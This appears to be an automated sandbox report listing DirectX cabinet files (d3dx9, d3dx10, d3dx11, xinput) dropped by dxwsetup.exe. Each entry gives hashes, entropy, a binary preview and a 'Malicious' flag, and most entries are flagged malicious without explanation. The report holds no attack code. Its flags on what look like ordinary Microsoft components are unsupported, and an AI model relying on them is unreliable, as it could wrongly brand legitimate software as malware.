File Type:	Microsoft Cabinet archive data, many, 1703400 bytes, 5 files, at 0x44 +A "d3dx9_36_x86.cat" +A "d3dx9_36.dll", flags 0x4, ID 7211, number 1, extra bytes 20 in head, 115 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1712568
Entropy (8bit):	7.999078652914364
Encrypted:	true
SSDEEP:	24576:fMb9V3TN8vuaBYlFhEbpdjRsI+CpoUjrn++qWYxhiUX21LVpmI9P2BZbcNU7YBP1:kJEvlmFMpdj/Npocz++q3X2tnLAcm0Bt
MD5:	C5E127067EE6CACDD2F8962E6005542E
SHA1:	22C571E4DA75A6E5DFE02E3E3587F40C2939C745
SHA-256:	F52CC1304B533083B3FC5553C49433C0E4E46D66D567B9DE0B558CA518DB1544
SHA-512:	E70DF11AF8CB5D51C3111B8327371EA40292580F06D7D265F2449B89A4941C4740BDE904367FBCB4158512939BBD7C7A3DC20D3642475789FC075A2AE8E27860
Malicious:	true
Preview:	MSCF............D...............+................#..............s...>'........V7.. .d3dx9_36_x86.cat...8.>'....L7.y .d3dx9_36.dll.....F#9...V7O. .d3dx9_36_x86.inf.,...Q&9...V7O. .d3dx9_36_x86_xp.inf.\...}(9...V7O. .nov2007_d3dx9_36_x86.inf..*G~.;..CK..TS..._....E..)...!4...iR.....Z."] .."......K..T@.B.....]....\|...w......y...w.3w..7..//s..R3...H.N{/..F.Yj..J..@..a^.........,.a.^M....".!.,T>......T. .h..-..]./.8.^..../%..q0....x..',4.....Y.9...2..!+...!]Pp.J.`...=.B.W<(.........d.d.l/.Xq,9}9> ..l.}....@......R.dY.x.8@.(..C!.?...)....f.-a.l.+6..U..vbO.q.%]s.....H...$g.... .=...l8. X2.I@.b....Y.V"...[..f5{.$`K.e3.....PE;.Nx`@.f..$....r...i>[..$]`A.:.....jv~.gg...Y....M.....x7...H..'.J.y..oV......j.aU...fc....U..i.....B.q..N>...`........`H9XVN.r..![.+..!H...B..i.-....r...f`l....V.?{.z..H.Ym../.o...Q...p....<d..,....9.7O..c....d.<.`.L..!..{...b .>.QH..)..B.........,...Hx..$a8N.^.rE.+Z..c#h...Xu..,.D"b.h..z$=....G./...l....z./.F..)..v....v':..5....G...... ...p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Nov2008_d3dx9_40_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1544836 bytes, 5 files, at 0x44 "d3dx9_40.dll" "d3dx9_40_x86.cat", flags 0x4, ID 7155, number 1, extra bytes 20 in head, 134 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1554004
Entropy (8bit):	7.999645278979612
Encrypted:	true
SSDEEP:	24576:K3tdQkdeoPJLiej+pb7Q15LwQrpLeWvYMWbPBmcnILz+0Byna:2dvdeAweSBQPLwgpCWvYMQ5mcnIH+m
MD5:	75556D89FDD442967A23993C9111D997
SHA1:	003DE53653C0CC84F8C3D617D1F76FB475F1A7CB
SHA-256:	863AC3438F57158D4F53900C6924BFDC132AB43A5AF57D4658E65842836B4FA1
SHA-512:	6086114500DBBF4DB9D0A9C3F72732995BB9A3AB5C135EAD53143749B95651B37B64BE7A52CA09388DE90216FD00486FDFCFBC87D42D77FAC469F82B5290E06D
Malicious:	true
Preview:	MSCF............D................................#..................P.B.......O9.2..d3dx9_40.dll.....P.B...O9n:..d3dx9_40_x86.cat.......B...O9h8..d3dx9_40_x86.inf.,.....B...O9h8..d3dx9_40_x86_xp.inf.\.....B...O9h8..Nov2008_d3dx9_40_x86.inf..=.:.:..[.... .2......$Q.f...<....!Z.J.+...ea..U.q....ha.x.y...........=.h!............X.{.<,.....?..b.):.[J{....^=mv:.i.e..}9s............F.QN.^+.).p...!9.4L..B.k ....F.}..R.. ..D%P4@...'2.$C..EU..:_... ..=.....2...Q...H\|..2.hi....H3..%JA.O...s.n-..<.<..9;7p.wnxw,\|\|.....du.......)..$3CN.'.)j..\|...x.w..>..4.D..."..I.'.=.....$.7..m...J..F....0..F.XD..v....."*\|2...A.H.R..b.()! .\|..Hh`....Q.K...NH..9../^...\|[!.)k...8._C/~D.W..K4.}.B.T.b.Kw..si..6.E.#6w......_.,.>6{r$X&:....s.w......k....h'5......3...0XOG.^.=..j....sFg.jO. t..?.S.l5?.t...s....`...]......'$LJ.........Z]h.. ..h.l.5b....F..0......m.....P.....n....Z.... <..7.@...,`@..#.i.r....... ......@....\|....e/.pa...@Q.A..'.EL..7H..?^..C.........]i p..N7....:i.P.........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\OCT2006_d3dx9_31_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1121257 bytes, 5 files, at 0x44 +A "d3dx9_31_x86.cat" +A "d3dx9_31.dll", flags 0x4, ID 6911, number 1, extra bytes 20 in head, 75 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1130449
Entropy (8bit):	7.9990817245216945
Encrypted:	true
SSDEEP:	24576:fd5gyP75nbAgKdWsTLSCs3BZnH50ve35Jxroo6DS:F5fP75nbt0STRZn9nxrb5
MD5:	F778928C9EB950EF493857F76A5811AD
SHA1:	EA82D97077534751297AE0848FB1672E8F21E51E
SHA-256:	4891E2DEA9D1798F6A89308E58C61A38E612F8433301EA2376AE14C3DFCB3021
SHA-512:	1F382A287FC6763B8E8D66825E8256DFB7D0DEAD6B6A6B51DD7C4A5C86D536CC7EF4128BE0CE495FE17C859018750072DC7B43E3476D1BA435F209CC4EB6D43F
Malicious:	true
Preview:	MSCF............D................................#..............K.............<5m. .d3dx9_31_x86.cat...$.......<5.. .d3dx9_31.dll.......$...<5.. .d3dx9_31_w9x.inf.......$...<5.. .d3dx9_31_x86.inf.......$...<5.. .oct2006_d3dx9_31_x86.inf.j5o.s>..CK..\....oh"....Fl..'.......i.vC..... `..w...6.....`.....;..E..........l.w.3....Y,..+......yg.a.....$.`0...6...XZ4.FX..J...l.V..o;F^..lH....3'.f0..G.m..P.[>...G..j..c^....p.<OAO.N.q.Z.E...hk..H...'@../.B.....q`K...y"..-9.r.'.9...x.O.R.8.......c....`Gc..C....>......X.......\|0c..tz......./....-.faa.0..<,.V.^X..B......:/...y...3...X.GZ..T......Bi[.KY.x..A...3.[...s..l..J..U..h.../2Z"7......k....yB.E^.r....T........K.....,...X..)..C...z4.....b......o..yv5.!5...CD`&.\.<0..P.y9..e..`{m8..K.:(.....w..la..@.++.N... .y6.m.......,.c...[lc....d..AM.6........ .P...uD.........m...........m.e.`9t..+..aa..@5.y}r.\..rJ.={9f...3...fO4.u.V6u-z.....t.n...A..0%.T....L'.[K...Uh....Ul....vum.........N.U..).)Q...x.RaPk5..X3z.e...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Apr2005_d3dx9_25_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1073002 bytes, 5 files, at 0x44 +A "d3dx9_25_x86.cat" +A "d3dx9_25.dll", flags 0x4, ID 6922, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1082170
Entropy (8bit):	7.999075135168916
Encrypted:	true
SSDEEP:	24576:i0BodqhH/OCy8M+j5lcB4ZfeXBXUd/QLML9bw6Uzc12:iUbffy/+lmBXF8Ioxw6Uo12
MD5:	9C5DCA423D9D68349D290DF291DDBEEF
SHA1:	D9F1CAE586470EA309CE9F115525B0504FFFAEA4
SHA-256:	5487ED4E969A822E5C481CEFB1D4DA3066B1D5EC8C55798B246915ECB58A8665
SHA-512:	9F50599321F45FB7451B0A1C0F1DCBD6B4A4E60EE27B0EF5AA29168C1BCE5B08F34329916EA2EA655CD632D0A19C81953C2A5F1277F6A96FB63AFC098236509D
Malicious:	true
Preview:	MSCF....j_......D...........................j_...#..............H...7.........r2. .d3dx9_25_x86.cat..#.7.....r2}. .d3dx9_25.dll.......#...r2,. .apr2005_d3dx9_25_x86.inf.......#...r2,. .d3dx9_25_w9x.inf.....k.#...r2,. .d3dx9_25_x86.inf.(.0.?..CK..\....'4.A..".+.@.%..C.4).b!@..$.....a..k.#..v.w.w.]xg...............9{......k....q....6.Z&Ey-.@.....a.0.T...9b......a...b....ilk.+c.5.af.o.vl..............<....s.z..V.7........fa\.G\$En..._..\|$.?9.O...!..H.<...#.,...!.^N.<.g"..=.V\|O.a..gwcw...t.c.......X..4(.).. .?.S..0k..._2{<%X.......m.....D&&..v.c ....Av...u.l. K2......R.0.&.XO8b..p."H@^..2..jbb...hg.&...>.>....u..x....2...@.~....9..u.a.M.X...S5d_..\|}z"h..1.....<...Z!...V).............}OO...n.2..Q....../.......R+[C..l..(...@......1........$..vs..K. m...e...b..\}u.+.....?..bg...P.......%.pRgTq.t.t.e<..t.Y._.X.?F.(../.......abb.G5.qkb.\..Z...g.....g..(.....f..Lz.8...h.e....t.R.fJ.iJNCv}:.V.:..m.B..JIQrlA..Z5..HR..)9-...:.......V.JP.)t*.....6m....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Apr2006_xinput_x64[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 81141 bytes, 5 files, at 0x44 +A "xinput1_1_x64.cat" +A "xinput1_1.dll", flags 0x4, ID 7457, number 1, extra bytes 20 in head, 5 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	90309
Entropy (8bit):	7.986243949537019
Encrypted:	false
SSDEEP:	1536:/0CNqg1WzKHJUq/JSlvxToeSNOUp9BttldRL9zaMNez4fbI9YKztrIrm:/hIg1cEJUxvxlSNOUpfttldRL9zkzAI5
MD5:	B0669F7D395078BEE0087B089F0B45C5
SHA1:	30506FC3DCE9532EF0A8CB3973347EC9C3C9875F
SHA-256:	E63A67783EF7624559F95AB697BF8AFBDAB7ACE31200283EF840E6B94AA16E5A
SHA-512:	D7EFCFD85B3CB6CB9B1936B701A9D7D91A6094AA08D8C933EDF8493C6AD57BE05A579980A404B35E9721F71B45F4CAE28399FCA3FF5DF20A9A3138B90F86B94C
Malicious:	false
Preview:	MSCF.....<......D...............!............<...#.............................44f .xinput1_1_x64.cat..F.........4.d .xinput1_1.dll......e.....4.d .infinst.exe.V....l.....4.e .apr2006_xinput_x64.inf......o.....4.e .xinput1_1_x64.inf.. ...9..CK.{.XSI..MHh..AD.. .7t...4..H.TTB...$.."...,...v].{Y{...u..k.......w..pA..}......<.\.9s.w.9sf.x...}...y..L......j`.c2..6..>..L.i.......F.......QZ...X.p.}c.i.`.,^X/l.8...m._..Fv0.}pOO.................N..>....O 6......X..s....A.'.s0....X...c._0.\|...?... .....IM.Ln..e..&..$...6?...K.....f7../.A..2...@=..7.`..L&..u:...w.>...q.q'=&...Sf....'..,.S`R,..aJ..@.nO.6.....TEF+.K...4.-.$....<e........ob.^..\({@).F.A.../.'..I../.F>@}..N.f....h...........q\.7#.~...Rm.2...HO0...{...dx....d..00<.3.v..........d....o:.e...,.....I..^v&.t .O..)Y;.B.7\|Q.K....Oo...g.L..5.I.....;t.i.\Z.V..>../..G+.!....z5,.*....1.L..#....58..f....7.x..Va~....bY....\+..U.-M.D..H....d"n{..b.X..V...Lqz..k.h.5..I.d)E..x'.hc.dp.Dr.8E,.(.R..+..5.YZS.1.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Apr2007_d3dx9_33_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1600079 bytes, 5 files, at 0x44 +A "d3dx9_33_x86.cat" +A "d3dx9_33.dll", flags 0x4, ID 7180, number 1, extra bytes 20 in head, 108 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1609247
Entropy (8bit):	7.999284261824255
Encrypted:	true
SSDEEP:	24576:4cQY0tIpwa5ydxGuruluTsRWo1Iq9e5m98yiN9/0rjVH60mPxr/1MQK:4cIIi+G9rul8uooec98yi//0rjoDZrCF
MD5:	A5915EC0BE93D7EEBE8800CE761EE6DC
SHA1:	E8BBC21C2B5F0E5801286F07E3DA09DBC67C3961
SHA-256:	EFA2E6DE548401376A575E83A79DE019AA38F191D63FDEF3BD2B07D8CB33E3D7
SHA-512:	02259FF3C8478CBA134A8F8408AA624B7165CED97C0AED8C9626034599DD5439F84D1AF9EEFC4191898B0A524E5FFAFB9875EC00E740CEBE97EAC4C2DD0E31AA
Malicious:	true
Preview:	MSCF....Oj......D...........................Oj...#..............l....(.........6{. .d3dx9_33_x86.cat.hW5..(....l6O. .d3dx9_33.dll.\.....5....6B. .apr2007_d3dx9_33_x86.inf.....\.5....6B. .d3dx9_33_x86.inf.,...g.5....6B. .d3dx9_33_x86_xp.inf.6^]Z.;..CK.y<.....Y.[.J..".<3..K.AJ.CQa.&a..-.L.vE...")[e..!E)e...(q.W).g..t...?.....Ws^...\|.9...9.=.3..L.XN.U.&... ...L.p.b ..,....$.BJp@0.....@#.x^D...T.`~N./J~... ..A6..Tj.....s.....a...A.....#YV..`&B.m...!"....O.h.x.....!M ..e. k@...$C.7..F...7.%...............C".Xk..V..Y.....9...B>.n......J..<......{..w.MORA....v...H..l%.....`...;l.:..T@'Y]..9,H.`.,....A.....u..p.a.....D./!..VZ..1P..I......C..........9..4..1.z......h....W...~.}"hK.m..sA..}<;..w...,8.[a.y.!X...HM....qf.!....i.~.m`.O5...T&......2?...,%#.YCTh......H....@.a........?....7..}.+.c.S.\...-.%`.......1...5......24..........5.....yy-v..R.......{.C..@"....n..C.I.`.ZX....@.MH..+9Q[.\|.rD.j ...A.(.Vb.ZZx.f......F..}h..X....~[.Cs.S\|....RV9JT.k.....c....C...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Aug2007_d3dx9_35_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1702192 bytes, 5 files, at 0x44 +A "d3dx9_35_x86.cat" +A "d3dx9_35.dll", flags 0x4, ID 7184, number 1, extra bytes 20 in head, 115 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1711360
Entropy (8bit):	7.999186916403002
Encrypted:	true
SSDEEP:	24576:91jqFBu+YTN2MuQ4R6dPnknsGmQA+re+1ZGD+rCbaNHy196aqlF35RJT1q/P0a+8:9FyMTN57+MPO++rB44S1I/F35zhqFR
MD5:	3ED592E6CDAE66B1C0671D9EC417A738
SHA1:	9F083FFE00A8E5EABF282130CD16044B488B6E0D
SHA-256:	4914D2B5C3251B00C0CC236F51AFE469728D92B50C953C66D213F079AC928EAC
SHA-512:	0144DD9A83F953EABAAFF3C41F17A363100C9A2CCD932321A4AFE990D8FCB5A430E842DE9146C983409B6366CD974E318A535E6475B10839A6679844CB7D23B7
Malicious:	true
Preview:	MSCF....0.......D...........................0....#..............s....(.........6P. .d3dx9_35_x86.cat.h.8..(.....6. .d3dx9_35.dll.\.....9....6B. .aug2007_d3dx9_35_x86.inf.....\.9....6B. .d3dx9_35_x86.inf.,...g.9....6B. .d3dx9_35_x86_xp.inf..n_.;..CK.y<.....Y.[.J.f.d.;c..l...."a..2&&[..E.BEY.EZl.%Z.(..%.+%I....3.[}...q..s?..\|.w..=.s.s..y..2.S8y..........L.8.....0\| .'.. .....LD.'.2'..c.ya.L.a...........C.....C.....^...T..x,.j.X....\.......2a2H.<`.`.c@. BwM(a.#..P....&[R.... $.B.....{....\....5.<$...q.t..qp..c.Z..J...DK...d...A@.....:t...^...X.....K...zg>......U.A..#..1v....`'d..d......A.Bf.@y.$a.d.....,.2W.=."t..........".p8.%......C.0....l.F......X.Q......R.....]...c..Y.Y.<t.'...}.........gK....of...........8Gv6......O.....N!d.?...E...g3a....`...G.R2..-@.6@......\..`H$...4...&...g.6..M.........r2K.s.....FM(......}....hCJVC.T.y..@...C...d..Yk.L`....D..L....>d#.08\.h....&...&......ox...4.2......'K....R...(E...@..6RH..A..t.1 ......s........).T..\.G..........w...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Aug2008_d3dx9_39_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1458712 bytes, 5 files, at 0x44 "d3dx9_39.dll" "d3dx9_39_x86.cat", flags 0x4, ID 7173, number 1, extra bytes 20 in head, 118 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1467880
Entropy (8bit):	7.999682997096517
Encrypted:	true
SSDEEP:	24576:ztDuVYfr3zZ3dHi+rHI8lVs1WutNXBoY4RbifcKly/kNwSh1mMbS8X/9Wv8PiL:JDnr3zZ31lVsgENSsfcKaZAFF88+
MD5:	4379902C4180A9A6BF40B847372CEC5A
SHA1:	C7FC8184D5620154B9BFD6FBC8820A78C4EEE592
SHA-256:	61E703E8D231412F135B4ABA629122D9CB69AC9EE39FA3CBBE6B95DE05097A8B
SHA-512:	9269F49A5CA90143C50B817E9F5AEC0FC4C32BA1B6D3A21CC5448CAD21A16A902540C8CFC1825B124CE39E0BDC479ADE4354B6BE15B2067E3033E04998E0710A
Malicious:	true
Preview:	MSCF.....B......D............................B...#..............v.....:........8.X..d3dx9_39.dll.<'....:....8.2..d3dx9_39_x86.cat.....D.:....8.2..d3dx9_39_x86.inf.,...O.:....8.2..d3dx9_39_x86_xp.inf.\...{.:....8.2..Aug2008_d3dx9_39_x86.inf....$:..[.... .1......$Q.f...<....B..we..]w.QR..B.).V..i.k..Z........=......d.. .....2..cLfl..A..w4[..VBs.{...^...S..a..]Z...%vh...9..Ro...K..r.}..ZP......".i..5P..."..............."......I.c.on..F...&..K @T.=...C..a ..!..q...Pb.=........hY.b..i`AY..<xwqvlx,t......Yg..R....g1fG..i..4.o.......S_...V..N.K.N..qQ.....Etr.1...E..:..\|..../e..<...9.s.....%.RT. .M!.$(2b[X.NT.B...HT.?.!.<\|4~.?........Si.Xe...l}....J.J\|LN...R.o..@W!.y.8..t'....%A.!I..U.A>..~..........u....2SR.[...9Te.?..U....y*.M.yxnx...z.J..V...(.....X.\|...f.h.....?.LGt..UT...o.7.0..h[.P..`...`../$LED..'.E. \|.A-.w...6.+.\;.h...H...........8...A...0.n....9- p..M. r.V.!...W...r.Y......BO.d...{4.. ....U..A ).....9f.e............`P..w[.......$..o.L1.~.R.M@\AC....W.%..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Aug2009_d3dx11_42_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 99084 bytes, 5 files, at 0x44 "d3dx11_42.dll" "d3dx11_42_x86.cat", flags 0x4, ID 7285, number 1, extra bytes 20 in head, 8 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	108252
Entropy (8bit):	7.991332626956763
Encrypted:	true
SSDEEP:	1536:MI9cI4N24813fwIsfQqzjoroJ1OL79D+0sFGmNjFRchFxLvk5yswFa8D+0qlt6s1:Pah8Vo/1uLJoGmZEFxLvcwM8DZcZxb
MD5:	DD47F1E6DC19405F467DD41924267AD0
SHA1:	85636EE0C4AF61C44D0B4634D8A25476CF203AE9
SHA-256:	39FF69BA9161D376C035D31023D2FDEECB9148A2439ABE3AFD8F608F7E05E09B
SHA-512:	F77C4CEF5CB7E927948F75C23A190E73D6C75B4F55915859046533A10AA3C5ABAC77D8BEF71A79368C499C85009213E542094B85B94B69E62AA66B60616777C3
Malicious:	true
Preview:	MSCF............D...............u................#..................P.........$;....d3dx11_42.dll.....P.....$;...d3dx11_42_x86.cat..........$;...d3dx11_42_x86.inf.(........$;...d3dx11_42_x86_xp.inf.c.........$;...AUG2009_d3dx11_42_x86.inf.ix..@ ..CK.[.X.G.....<..: .QQ.9...S@..A.......p..D._M<.A7&F.q.f]c..xD..Wc.....F7..H..b.._.]=T.tbo.......\|O}..[U_.U]o.L......(%..V..Nq.(.....=v........R..3.K.......2c....Zm,..+k.%.....2k.e........s3Xx...C....~..P.X..o..~..[....../A.?...\Rl.QRX.g.sz<E....g..s..[/s.(5..T..>/.(.9F&;.c\|..).k....6y.7+P..d...U.J.H7(.x.E.B}.1`..Z. .C....lTP...C7....._^h7F..t....T[.V.r.J.....&?F...Pd.6#..H\|....).<.....U...g...5..5..RjE.=.sc:...x1..[..w..p...8."..Y8.....AV...E".A..p...%d."..5d.!..l4..d}..#.A...#;.l.....!.....Xd...!3"...G...d_"...^do![.l..i.& ..,...d}.9#S.....IA.C......E.6..![...dS..#+@6..@.....m..:......v!{..Zd. [.l&..-.....9..C9...}.x..Y9=.F...k.Z^.^...!{...........R...d.._...~2z_O.mXG.._...XkYEI.....^iA.p.....=...wa;...N.6.2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Dec2006_d3dx10_00_x64[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 206847 bytes, 5 files, at 0x44 +A "d3dx10_00_x64.cat" +A "d3dx10.dll", flags 0x4, ID 6580, number 1, extra bytes 20 in head, 17 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	216015
Entropy (8bit):	7.996946294916653
Encrypted:	true
SSDEEP:	3072:SGo145qtWQt9fL4bBHlKqDfaqaGm3+vqm9/Xx0b6POnzED/RIxeqTk0T:SGo145qtbt1LaeB36/xc6PkV
MD5:	681407075E9B19E5EF2218832F6FAD71
SHA1:	E4F4D292A36CD9A3034007EF9D2005694307EB52
SHA-256:	F9BD5BB083BD55D1D2A690BC66D6D9DA0B1A8B49F09E811E788C030669121118
SHA-512:	E983E7DD3F40510816FF3AE836600A186DBA827B484B0C346C20E43E229189A86D4CB5CF219C1FC35B77AB0668866446F6E9206B279931C927D4ED66AD3625F1
Malicious:	true
Preview:	MSCF.....'......D............................'...#.............................5#a .d3dx10_00_x64.cat..)........}5.h .d3dx10.dll......H.....5T_ .infinst.exe......O.....5.` .d3dx10_00_x64.inf......Q.....5.` .dec2006_d3dx10_00_x64.inf......:..[.... .Vm.....%A.P...?..,..".._.R.&.F.J.J.K.^.^...".U.!. ...BvJ...G......(.........C~.b...V...i.Z..O.<.%. .C...@l....a........XBq..Q.]g..2;..+d.[T[.Q..(ji..J...........T%.E.5.o3w.;.x.p.+@...JH...JA%.`.F..^....z..B......D.....S. \.3....."A%'n..h.f%.E.Ue.T..61....i.....m.X.......Wu...pf.a...............G.B...........$..%....R...`K.x....U,/...aH........S..^..2....h.E.6....B.K.A..........4!@7..........2...].}...".2..Z...!V.......-.6..<...{}..............o.~.ST.}.O.H.,....U.N.;..g{j.~a...^..7.n#.......SJ....~3}I9.\s.o....u.c;.../...RT....O~.R......L>C....W...K....P..z..........f%........::...vr.hC.Z.5...75+^...........evQ...8....v..)...W{..O/..<$....t...;. t..,&F.]&@.R..3e._.KZ.....C\|../...^.p&..`\SVd.......ge..E.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Feb2006_d3dx9_29_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1078760 bytes, 5 files, at 0x44 +A "d3dx9_29_x86.cat" +A "d3dx9_29.dll", flags 0x4, ID 6921, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1087928
Entropy (8bit):	7.99922866964108
Encrypted:	true
SSDEEP:	24576:MWlF24ngnZPhX4ciAwvVHgK6SgHY6OmSfLV+:MWls4gnZTmHx6SgnPCY
MD5:	F6CC1C08D0F569B5F59108D39CE3508B
SHA1:	E9CF7EDC8C9C4B57A9BADD8386A2117EC5785AAB
SHA-256:	4114E76799AF3DA9DB3DAE51305DAD70A05B757E506E4A327092D536CCA7EE75
SHA-512:	86DF72D5B15396ACB504C1AC9DE7FF5C0CC9C95A90FDD82DAEDC55BAAD490CC47A71CB511571D37E25DD9BC1EE9652B9723E33879BC1756A7881A8E61EBC59ED
Malicious:	true
Preview:	MSCF.....u......D............................u...#..............H.............C4.F .d3dx9_29_x86.cat..#.......C4hE .d3dx9_29.dll......#...C4hF .d3dx9_29_w9x.inf.....x.#...C4hF .d3dx9_29_x86.inf.......#...C4iF .feb2006_d3dx9_29_x86.inf.w.6..>..CK..X.[...C.Q...1XQ.N..........T,..D .$....c.]......#..{.z..]..E....}...?......f.=..=.g.....v..]F.Y3j...8...&....V..S=S.f...1]aQ......a...1..Q...V.....m..e........s..m.[c.....yl.{/.^%q.Z.I ..hg..DH..........$..........AB.....!N.w=!F.g. .s.p.B...X...LL..X.c ....z.B...........b.81...>:/b.......511A..[.&.3vo.'.V)..kgjb...\..\|..!(.i..%#...8..9Um..]_.E...c.o.{....\|j..r4..CN..2....K..].t.E..CH.2b}I.A_.D...5s.e....K..&...n.K....a..p.$29...o.HN..[..k...d......1V.....P..9..e.....p9...c=..RQ .7.H61.e ......I~.v.....p}:.1.:r.i....qb..@K.......AM.(.QM....%.p....+.9....~.J~.J~.J~.....-....`.0LLl...3nL.....t.f/...x.9......n....I/!.!V..X........S,OU..`.tt..u$i...]...`.6...o..(..).-..tD.....L.B.S.+c.:.Z.n......od<..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Mar2008_d3dx9_37_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1437322 bytes, 5 files, at 0x44 "d3dx9_37.dll" "d3dx9_37_x86.cat", flags 0x4, ID 7166, number 1, extra bytes 20 in head, 116 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1446490
Entropy (8bit):	7.99972380205062
Encrypted:	true
SSDEEP:	24576:vFs/gTzoeHhwLMLDjl5XbCzgxt0Q98wWz35UM0vE03yYCmPI7ik:veKTHhbLDbDP0Q5UUtBC2PAz
MD5:	8ED75E3205C2B989FF2B5A7D2F0BA2DF
SHA1:	88846203588464C0BA19907C126C72F7D683B793
SHA-256:	91A50D9EFCDFBCDF22A91D6FBB0F50D3C2AA75F926D05CC166020BF7AAF30E28
SHA-512:	D0CF0E3AAD9C8C43A927D1BBBD253B9FE4C97B638AD9A56F671EBEDA68FC9BC17CC980D93095FBB248DD61DC11B7E46C22D72CEE848B150F7A13EAD9E08A7891
Malicious:	true
Preview:	MSCF............D................................#..............t.....9.......e8....d3dx9_37.dll.<'....9...e8I...d3dx9_37_x86.cat.....D.9...e8....d3dx9_37_x86.inf.,...O.9...e8....d3dx9_37_x86_xp.inf.\...{.9...e8....Mar2008_d3dx9_37_x86.inf..$.0:..[.... 92......$Q.f...>J...h.].W...uWL.I...W]J.X..V..{..Z........X.G{<..033.4..P..........ek \|.b./..gFB'S...K.....fe.5.u..T<{..H....XG84QbDR.8X.Hf.H..46...H"0 ..HH.S.............(_ ..w...H.....Q..P..vT.t@.G+...1...YH... V..Y4H..P..1R$l/..20!ls'...;....;..kmttyu...x.s....q.....q$.C..5k....(....B.r..y..<.6...Fz..hn..-.....Q.3Z...@.1.V..S?...a\|....(6.......D. ....)Ej....GJ%.5 ........G.w>......p...i}..<.\|..b.&!..7E.yU.O-.D......O.UC..yIA.Aj.._..D...VOc....{.f]J.<...r.)o.\|-...>.PWF.....;.;..vb....4..QV'f.$......:S.hi...~...}3k......\...}a.......L5..e....\|.....1..n...T...t......[....Z.].e....d.A......'..\|.V.2.\|Ax..W..........B.>...x.. ..\|.`...L.h..H.i.....@-.aa...7...K ...../..l.x....r...0>x..@/X...W..L..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Mar2009_d3dx9_41_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1606486 bytes, 5 files, at 0x44 "d3dx9_41.dll" "d3dx9_41_x86.cat", flags 0x4, ID 7142, number 1, extra bytes 20 in head, 128 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1615654
Entropy (8bit):	7.999772423092358
Encrypted:	true
SSDEEP:	24576:xFtN95ew18Yl4WTrZnZSibmmq18Whxp9pWISiIz9cXwowwenm2AB4qDA2mV7Q:newRFZ8ib6T3p9pW9/Z4bM/XkA+
MD5:	901567428D8C82756D7BF5A406441BD7
SHA1:	6E3C22147F3DA77AC8F20D615CA32B5EF2A0ED28
SHA-256:	32356344AEDDF709C9D5302D8F3FCC1FF1BE2E82D8D17833A2086400AF248794
SHA-512:	6FD4C429E32480BDFF4E58BA8BC0D28FE97C9FF5EF1FABBB856230EFA669246A354F99B723E7483D548B74C121AC8BA9CBA2B5BC3C18F35EE828302D392CF6ED
Malicious:	true
